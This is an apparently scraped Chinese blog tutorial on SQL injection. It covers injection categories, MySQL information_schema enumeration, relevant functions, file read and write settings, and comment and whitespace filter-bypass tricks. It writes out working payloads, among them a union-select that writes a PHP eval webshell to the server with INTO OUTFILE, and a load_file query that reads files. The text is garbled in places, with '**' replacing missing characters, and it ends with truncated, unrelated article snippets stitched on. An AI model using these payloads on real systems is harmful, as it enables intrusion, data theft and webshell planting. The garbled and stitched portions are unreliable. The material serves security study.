SQL基礎知識

2021-10-14 18:41:58 字數 4975 閱讀 1950

sql注入是指web應用程式對使用者輸入資料的合法性沒有判斷,前端傳入後端的引數是攻擊者可控的,並且引數帶入資料庫查詢,攻擊者可以構造不同的sql語句來實現對資料庫的任意操作。可以進行資料查詢、webshell寫入、命令執行等操作

sql注入漏洞的產生必須滿足兩個條件:1 引數使用者可控 2 引數帶入資料庫查詢

按資料庫型別

access、mssql、mysql、oracle、db2等

按提交方式:

get、post、cookie、http頭、xff

按注入點型別:

數字型、字元型、搜尋型

按執行效果:

布林盲注、時間盲注、報錯注入、聯合注入、堆疊查詢注入

當傳入的引數為 1』 時,資料庫會執行以下**,並會報錯,因為這是不符合資料庫語法規範的:

select * from users where id=1』

當傳入的引數為and 1=1 時,不會報錯,因為1=1為真,所以返回的頁面是正常的;當傳入的引數為and 1=2時,因為條件為假,所以會返回乙個不同的結果:

select * from users where id=1 and 1=1 #條件為真,頁面正常無變化

select * from users where id=1 and 1=2 #條件為假,頁面異常或變化

資料庫資訊洩露:洩露資料庫中存放的資料、使用者隱私等

獲取webshell:當許可權為root且知道絕對路徑時,可以直接寫一句話木馬到伺服器。

union select 1,「<?php @eval($_post['cmd']);?>」,3 into outfile 「x:\xx\xx.php」,也可以查詢null值。

網頁篡改:注入出後台管理員使用者,登陸後台後發布惡意資料、篡改後台資料等。

**掛馬 : 當拿到webshell或者獲取到伺服器的許可權後,可將一些網頁木馬掛在伺服器上,去攻擊別人。

獲取系統許可權:當許可權足夠高時,可以獲取系統主機的許可權。

萬能密碼:利用特定的payload登入後台或者其他頁面。

檔案讀取:讀取敏感檔案。

union select 1,2,hex(loadfile(『d:\phpstudy\phptutorial\www\x.php』))–+

布林盲注(boolean-based blind sql injection)

即可以根據返回頁面判斷條件真假的注入。

時間盲注(time-based blind sql injection)

即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。

報錯注入(error-based sql injection)

即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。

聯合注入(union query sql injection)

可以使用union的情況下的注入

堆查詢注入(stacked queries sql injection)

可以同時執行多條語句的執行時的注入。

在滲透中,目前主流站點的站點架構一般為apache+php+mysql,所以我們主要來學習下mysql資料庫中與sql注入相關的知識點。

這裡主要學習mysql>=5.0版本之後的乙個內建庫 information_schema庫。

在 mysql中,把information_schema看作是乙個資料庫,確切說是資訊資料庫。其中儲存著關於mysql伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與訪問權 限等。

在這個庫中,和滲透相關的表有三個:

schemata表:儲存該使用者建立的所有的資料庫庫名,這裡我們只需要記住schema_name這個字段。

tables表:儲存該使用者建立的所有的資料庫庫名和表名,這裡我們只需要記住table_schema和table_name這兩個字段。

columns表:儲存該使用者建立的所有的資料庫庫名、表名和欄位名,這裡我們只需要記住table_schema、table_name和column_name。

mysql注入相關語句

查詢當前資料庫版本:select version();

查詢當前資料庫:select database();

查詢當前路徑:select @@basedir;

查詢當前資料庫使用者:select user();

查詢當前mysql路徑:select @@datadir;

查詢伺服器的系統版本:select@@version_compile_os

查詢資料庫:select schema_name from information_schema.schemata;

查詢表名:select table_name from information_schema.tables where table_schema=『庫名』 limit 0,1;

查詢列名:select column_name from information_schema.columns where table_schema=『庫名』 and table_name=『表名』 limit 0,1;

ascii()函式/ord()函式: 將某個字串轉化為ascii值

sleep()函式: 網頁延遲n秒後,輸出結果

if()函式 條件判斷函式

if(a,b,c): if判斷句,a為條件,b、c為執行語句;如果a為真就執行b,a為假就執行c;

length()函式: 返回字段/結果/函式的長度,length(column_name)

常用length(database()) 即返回當前資料庫名長度

rand()函式: 隨機函式,返回0~1之間的某個值

floor(a): 取整函式,返回小於等於a,且值最接近a的乙個整數

count()函式: 聚合函式也稱作計數函式,返回查詢物件的總數

locate()函式: locate(str,string)返回str字元在string字串**現的位置,沒有返回0

position()函式: position(str in str)返回str字元在string字串**現的位置,沒有返回0

instr()函式: instr(string,str)返回str字串在string**現的位置,與locate相

concat_ws()/group_concat() 函式

使用分割符將乙個或多個字串連線成乙個字串,是concat()的特殊形式,第乙個引數是其它引數的分隔符,分隔符的位置在連線的兩個字串之間,分隔符可以是乙個字串,也可以是其它引數。如果分隔符為 null,則結果為 null。函式會忽略任何分隔符引數後的 null 值。

hex()&unhex()函式

hex對資料進行十六進製制編碼

substr()/substring()/mid()函式

此函式是用來擷取字串一部分

left()函式

left ( string, n ),string為要擷取的字串,n為擷取的位數。

updatexml()函式

updatexml()函式與extractvalue()類似,是更新xml文件的函式。

load_file()函式

load_file()函式是mysql讀取本地檔案的函式

into outfile()函式

into outfile()函式是用來匯出檔案的。

用法示例:select 「hello word」 into outfile 『c:/phpstudy/phptutorial/www/1.txt』;

查詢方法:show variables like 『%secure_file_priv%』:

查詢結果為:secure_file_priv null時,表示不允許匯入匯出

查詢結果為:secure_file_priv /***/時,表示只允許在當前目錄匯入匯出

查詢結果為:secure_file_priv (空白)時,表示可以在任意目錄進行匯入匯出

mysql5.6.34版本以後 secure_file_priv的值預設為null。且無法用sql語句對其進行修改,只能夠通過以下方式修改mysql.ini或 my.cn:

windows:mysql.ini中新增secure_file_priv=

linux:/etc/my.cnf的[mysqld]下面新增local-infile=0

在mysql中,常見的注釋符有以下幾種:

–空格//

內聯注釋符及特性:

/*!code */

內聯注釋符是一種基於注塊注釋衍生出來的注釋風格,它可以用於整個sql語句中,用來執行sql語句,內聯注釋有個特殊點,和mysql版本息息相關,也就是:當內斂注釋**現小於或等於當前版本號的時候,內聯注釋符裡的子句會被執行,大於時則不會被執行,注意版本的寫法,例如,5.5.34,在內斂注釋中需要寫為50534,版本號第二位加0。

常見的空格符號:

兩個空格代替乙個空格,用tab代替空格,%a0=空格

%20 %09 %0a %0b %0c %0d %a0 %00 // /!/

SQL基礎知識

本篇文章是講解sql的基礎知識,但也講得不全面,我只記錄了自己不懂的或者不熟悉的東西。一 在sql中簡單的查詢 1.重複的記錄 distinct 可以通過在選擇列表前的select語句中插入關鍵字distinct來消除重複的查詢結果記錄。比如 select distinct city from ci...

SQL基礎知識

sql作用 1.面向資料庫執行查詢 2.可從資料庫取回資料 3.可在資料庫中插入新的記錄 4.可更新資料庫中的資料 5.可從資料庫刪除記錄 6.可建立新資料庫 7.可在資料庫中建立新錶 8.可在資料庫中建立儲存過程 9.可在資料庫中建立檢視 10.可以設定表 儲存過程和檢視的許可權。資料庫操作語句 ...

SQL基礎知識

資料庫就是資料的倉庫,dbms資料庫管理系統同來對大資料的管理 檢索,就是對資料庫的管理。乙個dbms可以管理多個資料庫,這些不同的資料庫叫catalog或database,dbms允許把不同的database儲存在不同磁碟,每個資料庫中的表名不能相同。table 表,把不同型別的資料放到不同的區域...